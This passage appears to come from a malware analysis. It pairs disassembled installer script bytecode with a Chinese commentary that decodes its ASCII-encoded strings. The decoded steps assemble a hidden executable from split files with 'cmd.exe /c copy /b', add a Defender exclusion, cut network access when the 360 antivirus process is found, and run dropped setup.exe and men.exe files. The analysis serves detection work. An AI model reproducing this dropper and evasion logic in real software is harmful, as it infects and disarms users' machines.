= 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 11) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 51) assign Var17[ 8], S32( 34) assign Var17[ 9], S32( 32) assign Var17[ 10], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 25) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 67) assign Var17[ 1], S32( 58) assign Var17[ 2], S32( 92) assign Var17[ 3], S32( 85) assign Var17[ 4], S32( 115) assign Var17[ 5], S32( 101) assign Var17[ 6], S32( 114) assign Var17[ 7], S32( 115) assign Var17[ 8], S32( 92) assign Var17[ 9], S32( 80) assign Var17[ 10], S32( 117) assign Var17[ 11], S32( 98) assign Var17[ 12], S32( 108) assign Var17[ 13], S32( 105) assign Var17[ 14], S32( 99) assign Var17[ 15], S32( 92) assign Var17[ 16], S32( 68) assign Var17[ 17], S32( 111) assign Var17[ 18], S32( 99) assign Var17[ 19], S32( 117) assign Var17[ 20], S32( 109) assign Var17[ 21], S32( 101) assign Var17[ 22], S32( 110) assign Var17[ 23], S32( 116) assign Var17[ 24], S32( 115) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 pushtype UnicodeString_2 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype Type30 ; StackCount = 17 pushtype S32 ; StackCount = 18 assign Var18, S32( 9) pushvar Var17 ; StackCount = 19 call SETARRAYLENGTH pop ; StackCount = 18 pop ; StackCount = 17 assign Var17[ 0], S32( 92) assign Var17[ 1], S32( 117) assign Var17[ 2], S32( 110) assign Var17[ 3], S32( 122) assign Var17[ 4], S32( 105) assign Var17[ 5], S32( 112) assign Var17[ 6], S32( 46) assign Var17[ 7], S32( 50) assign Var17[ 8], S32( 34) assign Var16, Var17 pop ; StackCount = 16 pushvar Var15 ; StackCount = 17 call STRFROMCODE pop ; StackCount = 16 pop ; StackCount = 15 add Var14, Var15 pop ; StackCount = 14 assign Var13, Var14 pop ; StackCount = 13 pushtype UnicodeString_2 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype Type30 ; StackCount = 16 pushtype S32 ; StackCount = 17 assign Var17, S32( 7) pushvar Var16 ; StackCount = 18 call SETARRAYLENGTH pop ; StackCount = 17 pop ; StackCount = 16 assign Var16[ 0], S32( 99) assign Var16[ 1], S32( 109) assign Var16[ 2], S32( 100) assign Var16[ 3], S32( 46) assign Var16[ 4], S32( 101) assign Var16[ 5], S32( 120) assign Var16[ 6], S32( 101) assign Var15, Var16 pop ; StackCount = 15 pushvar Var14 ; StackCount = 16 call STRFROMCODE pop ; StackCount = 15 pop ; StackCount = 14 pushvar Var8 ; StackCount = 15 call EXEC pop ; StackCount = 14 pop ; StackCount = 13 pop ; StackCount = 12 pop ; StackCount = 11 pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7 call OBFUSCATEDEXTRACT pushtype Type30 ; StackCount = 8 pushtype Type30 ; StackCount = 9 pushtype S32 ; StackCount = 10 assign Var10, S32( 51) pushvar Var9 ; StackCount = 11 call SETARRAYLENGTH pop ; StackCount = 10 pop ; StackCount = 9 assign Var9[ 0], S32( 67) assign Var9[ 1], S32( 58) assign Var9[ 2], S32( 92) assign Var9[ 3], S32( 85) assign Var9[ 4], S32( 115) assign Var9[ 5], S32( 101) assign Var9[ 6], S32( 114) assign Var9[ 7], S32( 115) assign Var9[ 8], S32( 92) assign Var9[ 9], S32( 80) assign Var9[ 10], S32( 117) assign Var9[ 11], S32( 98) assign Var9[ 12], S32( 108) assign Var9[ 13], S32( 105) assign Var9[ 14], S32( 99) assign Var9[ 15], S32( 92) assign Var9[ 16], S32( 68) assign Var9[ 17], S32( 111) assign Var9[ 18], S32( 99) assign Var9[ 19], S32( 117) assign Var9[ 20], S32( 109) assign Var9[ 21], S32( 101) assign Var9[ 22], S32( 110) assign Var9[ 23], S32( 116) assign Var9[ 24], S32( 115) assign Var9[ 25], S32( 92) assign Var9[ 26], S32( 120) assign Var9[ 27], S32( 56) assign Var9[ 28], S32( 54) assign Var9[ 29], S32( 45) assign Var9[ 30], S32( 77) assign Var9[ 31], S32( 105) assign Var9[ 32], S32( 99) assign Var9[ 33], S32( 114) assign Var9[ 34], S32( 111) assign Var9[ 35], S32( 115) assign Var9[ 36], S32( 111) assign Var9[ 37], S32( 102) assign Var9[ 38], S32( 116) assign Var9[ 39], S32( 45) assign Var9[ 40], S32( 87) assign Var9[ 41], S32( 105) assign Var9[ 42], S32( 110) assign Var9[ 43], S32( 100) assign Var9[ 44], S32( 111) assign Var9[ 45], S32( 119) assign Var9[ 46], S32( 115) assign Var9[ 47], S32( 100) assign Var9[ 48], S32( 97) assign Var9[ 49], S32( 116) assign Var9[ 50], S32( 97) assign Var8, Var9 pop ; StackCount = 8 pushvar Var2 ; StackCount = 9 call STRFROMCODE pop ; StackCount = 8 pop ; StackCount = 7 pushtype Type30 ; StackCount = 8 pushtype Type30 ; StackCount = 9 pushtype S32 ; StackCount = 10 assign Var10, S32( 36) pushvar Var9 ; StackCount = 11 call SETARRAYLENGTH pop ; StackCount = 10 pop ; StackCount = 9 assign Var9[ 0], S32( 67) assign Var9[ 1], S32( 58) assign Var9[ 2], S32( 92) assign Var9[ 3], S32( 85) assign Var9[ 4], S32( 115) assign Var9[ 5], S32( 101) assign Var9[ 6], S32( 114) assign Var9[ 7], S32( 115) assign Var9[ 8], S32( 92) assign Var9[ 9], S32( 80) assign Var9[ 10], S32( 117) assign Var9[ 11], S32( 98) assign Var9[ 12], S32( 108) assign Var9[ 13], S32( 105) assign Var9[ 14], S32( 99) assign Var9[ 15], S32( 92) assign Var9[ 16], S32( 68) assign Var9[ 17], S32( 111) assign Var9[ 18], S32( 99) assign Var9[ 19], S32( 117) assign Var9[ 20], S32( 109) assign Var9[ 21], S32( 101) assign Var9[ 22], S32( 110) assign Var9[ 23], S32( 116) assign Var9[ 24], S32( 115) assign Var9[ 25], S32( 92) assign Var9[ 26], S32( 83) assign Var9[ 27], S32( 101) assign Var9[ 28], S32( 114) assign Var9[ 29], S32( 118) assign Var9[ 30], S32( 101) assign Var9[ 31], S32( 114) assign Var9[ 32], S32( 46) assign Var9[ 33], S32( 108) assign Var9[ 34], S32( 111) assign Var9[ 35], S32( 103) assign Var8, Var9 pop ; StackCount = 8 pushvar Var3 ; StackCount = 9 call STRFROMCODE pop ; StackCount = 8 pop ; StackCount = 7 pushtype WideString ; StackCount = 8 assign Var8, Var2 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 11) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 92) assign Var11[ 1], S32( 83) assign Var11[ 2], S32( 101) assign Var11[ 3], S32( 114) assign Var11[ 4], S32( 118) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 114) assign Var11[ 7], S32( 46) assign Var11[ 8], S32( 108) assign Var11[ 9], S32( 111) assign Var11[ 10], S32( 103) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 add Var8, Var9 pop ; StackCount = 8 assign Var4, Var8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var2 pushvar Var8 ; StackCount = 10 call FORCEDIRECTORIES pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var3 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_435a pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var4 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_4326 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var4 pushvar Var8 ; StackCount = 10 call DELETEFILE pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_4326: pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var4 pushtype UnicodeString_2 ; StackCount = 10 assign Var10, Var3 pushvar Var8 ; StackCount = 11 call RENAMEFILE pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_435a: pushtype WideString ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 26) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 67) assign Var11[ 1], S32( 58) assign Var11[ 2], S32( 92) assign Var11[ 3], S32( 85) assign Var11[ 4], S32( 115) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 114) assign Var11[ 7], S32( 115) assign Var11[ 8], S32( 92) assign Var11[ 9], S32( 80) assign Var11[ 10], S32( 117) assign Var11[ 11], S32( 98) assign Var11[ 12], S32( 108) assign Var11[ 13], S32( 105) assign Var11[ 14], S32( 99) assign Var11[ 15], S32( 92) assign Var11[ 16], S32( 68) assign Var11[ 17], S32( 111) assign Var11[ 18], S32( 99) assign Var11[ 19], S32( 117) assign Var11[ 20], S32( 109) assign Var11[ 21], S32( 101) assign Var11[ 22], S32( 110) assign Var11[ 23], S32( 116) assign Var11[ 24], S32( 115) assign Var11[ 25], S32( 92) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 assign Var8, Var9 pop ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 9) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 115) assign Var11[ 1], S32( 101) assign Var11[ 2], S32( 116) assign Var11[ 3], S32( 117) assign Var11[ 4], S32( 112) assign Var11[ 5], S32( 46) assign Var11[ 6], S32( 101) assign Var11[ 7], S32( 120) assign Var11[ 8], S32( 101) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 add Var8, Var9 pop ; StackCount = 8 assign Var6, Var8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var6 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_47cd pushtype BOOLEAN ; StackCount = 8 pushtype Pointer ; StackCount = 9 setptr Var9, Var7 pushtype U8_4 ; StackCount = 10 assign Var10, U8_4( 0) pushtype S32 ; StackCount = 11 assign Var11, S32( 5) pushtype UnicodeString_2 ; StackCount = 12 pushtype Type30 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype S32 ; StackCount = 15 assign Var15, S32( 0) pushvar Var14 ; StackCount = 16 call SETARRAYLENGTH pop ; StackCount = 15 pop ; StackCount = 14 assign Var13, Var14 pop ; StackCount = 13 pushvar Var12 ; StackCount = 14 call STRFROMCODE pop ; StackCount = 13 pop ; StackCount = 12 pushtype UnicodeString_2 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 0) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var14, Var15 pop ; StackCount = 14 pushvar Var13 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype UnicodeString_2 ; StackCount = 14 assign Var14, Var6 pushvar Var8 ; StackCount = 15 call EXEC pop ; StackCount = 14 pop ; StackCount = 13 pop ; StackCount = 12 pop ; StackCount = 11 pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_47cd: pushtype WideString ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 25) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 67) assign Var11[ 1], S32( 58) assign Var11[ 2], S32( 92) assign Var11[ 3], S32( 85) assign Var11[ 4], S32( 115) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 114) assign Var11[ 7], S32( 115) assign Var11[ 8], S32( 92) assign Var11[ 9], S32( 80) assign Var11[ 10], S32( 117) assign Var11[ 11], S32( 98) assign Var11[ 12], S32( 108) assign Var11[ 13], S32( 105) assign Var11[ 14], S32( 99) assign Var11[ 15], S32( 92) assign Var11[ 16], S32( 68) assign Var11[ 17], S32( 111) assign Var11[ 18], S32( 99) assign Var11[ 19], S32( 117) assign Var11[ 20], S32( 109) assign Var11[ 21], S32( 101) assign Var11[ 22], S32( 110) assign Var11[ 23], S32( 116) assign Var11[ 24], S32( 115) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 assign Var8, Var9 pop ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 pushtype Type30 ; StackCount = 10 pushtype Type30 ; StackCount = 11 pushtype S32 ; StackCount = 12 assign Var12, S32( 8) pushvar Var11 ; StackCount = 13 call SETARRAYLENGTH pop ; StackCount = 12 pop ; StackCount = 11 assign Var11[ 0], S32( 92) assign Var11[ 1], S32( 109) assign Var11[ 2], S32( 101) assign Var11[ 3], S32( 110) assign Var11[ 4], S32( 46) assign Var11[ 5], S32( 101) assign Var11[ 6], S32( 120) assign Var11[ 7], S32( 101) assign Var10, Var11 pop ; StackCount = 10 pushvar Var9 ; StackCount = 11 call STRFROMCODE pop ; StackCount = 10 pop ; StackCount = 9 add Var8, Var9 pop ; StackCount = 8 assign Var5, Var8 pop ; StackCount = 7 pushtype BOOLEAN ; StackCount = 8 pushtype UnicodeString_2 ; StackCount = 9 assign Var9, Var5 pushvar Var8 ; StackCount = 10 call FILEEXISTS pop ; StackCount = 9 pop ; StackCount = 8 sfz Var8 pop ; StackCount = 7 jf loc_4c1a pushtype BOOLEAN ; StackCount = 8 pushtype Pointer ; StackCount = 9 setptr Var9, Var7 pushtype U8_4 ; StackCount = 10 assign Var10, U8_4( 0) pushtype S32 ; StackCount = 11 assign Var11, S32( 0) pushtype UnicodeString_2 ; StackCount = 12 pushtype Type30 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype S32 ; StackCount = 15 assign Var15, S32( 0) pushvar Var14 ; StackCount = 16 call SETARRAYLENGTH pop ; StackCount = 15 pop ; StackCount = 14 assign Var13, Var14 pop ; StackCount = 13 pushvar Var12 ; StackCount = 14 call STRFROMCODE pop ; StackCount = 13 pop ; StackCount = 12 pushtype UnicodeString_2 ; StackCount = 13 pushtype Type30 ; StackCount = 14 pushtype Type30 ; StackCount = 15 pushtype S32 ; StackCount = 16 assign Var16, S32( 0) pushvar Var15 ; StackCount = 17 call SETARRAYLENGTH pop ; StackCount = 16 pop ; StackCount = 15 assign Var14, Var15 pop ; StackCount = 14 pushvar Var13 ; StackCount = 15 call STRFROMCODE pop ; StackCount = 14 pop ; StackCount = 13 pushtype UnicodeString_2 ; StackCount = 14 assign Var14, Var5 pushvar Var8 ; StackCount = 15 call EXEC pop ; StackCount = 14 pop ; StackCount = 13 pop ; StackCount = 12 pop ; StackCount = 11 pop ; StackCount = 10 pop ; StackCount = 9 pop ; StackCount = 8 pop ; StackCount = 7loc_4c1a: ret 这个函数包含多个ASCII码数组,用于构建字符串并执行各种操作。 以下是所有数组的ASCII码还原结果及其对应的字符串: 第一个数组(12字节)ASCII码:47, 99, 32, 99, 111, 112, 121, 32, 47, 98, 32, 34字符串:"/c copy /b "" 第二个数组(25字节)ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115字符串:"C:UsersPublicDocuments" 第三个数组(13字节)ASCII码:92, 117, 110, 122, 105, 112, 46, 51, 34, 32, 43, 32, 34字符串:"unzip.3" + "" 第四个数组(11字节)ASCII码:92, 117, 110, 122, 105, 112, 46, 50, 34, 32, 34字符串:"unzip.2" "" 第五个数组(21字节)ASCII码:92, 102, 117, 110, 122, 105, 112, 46, 101, 120, 101, 34, 32, 38, 38, 32, 100, 101, 108, 32, 34字符串:"funzip.exe" && del "" 第六个数组(9字节)ASCII码:92, 117, 110, 122, 105, 112, 46, 50, 34字符串:"unzip.2"" 第七个数组(7字节)ASCII码:99, 109, 100, 46, 101, 120, 101字符串:"cmd.exe" 第八个数组(51字节)ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 120, 56, 54, 45, 77, 105, 99, 114, 111, 115, 111, 102, 116, 45, 87, 105, 110, 100, 111, 119, 115, 100, 97, 116, 97字符串:"C:UsersPublicDocumentsx86-Microsoft-Windowsdata" 第九个数组(36字节)ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 101, 114, 118, 101, 114, 46, 108, 111, 103字符串:"C:UsersPublicDocumentsServer.log" 第十个数组(11字节)ASCII码:92, 83, 101, 114, 118, 101, 114, 46, 108, 111, 103字符串:"Server.log" 第十一个数组(26字节)ASCII码:67, 58, 92, 85, 115, 101, 114, 115, 92, 80, 117, 98, 108, 105, 99, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92字符串:"C:UsersPublicDocuments" 第十二个数组(9字节)ASCII码:115, 101, 116, 117, 112, 46, 101, 120, 101字符串:"setup.exe" 第十三个数组(8字节)ASCII码:92, 109, 101, 110, 46, 101, 120, 101字符串:"men.exe"
该函数执行以下功能: - 执行cmd.exe /c copy /b /y,将C:UsersPublicDocumentsunzip.3和unzip.2合并为funzip.exe
- 删除unzip.3和unzip.2文件
- 调用ADDDEFENDEREXCLUSION、OBFUSCATEDEXTRACT等函数(如果360Tray.exe进程存在则会先调用ADDDEFENDEREXCLUSION和DISABLENETWORKADAPTERS执行断网操作)
- 使用C:UsersPublicDocuments作为工作目录,创建x86-Microsoft-Windowsdata子目录,即创建C:UsersPublicDocumentsx86-Microsoft-Windowsdata目录
- 使用EXEC函数执行setup.exe、men.exe等文件,即使用EXEC函数执行C:UsersPublicDocumentssetup.exe和C:UsersPublicDocumentsmen.exe等文件
该函数会检测 360主防进程——若存在,则执行断网,具体如下:该函数会调用代码中的“IS360PROCESSRUNNING”函数判断360主防进程"360Tray.exe"是否存在,从而执行不同的逻辑。检查360进程是否运行:
|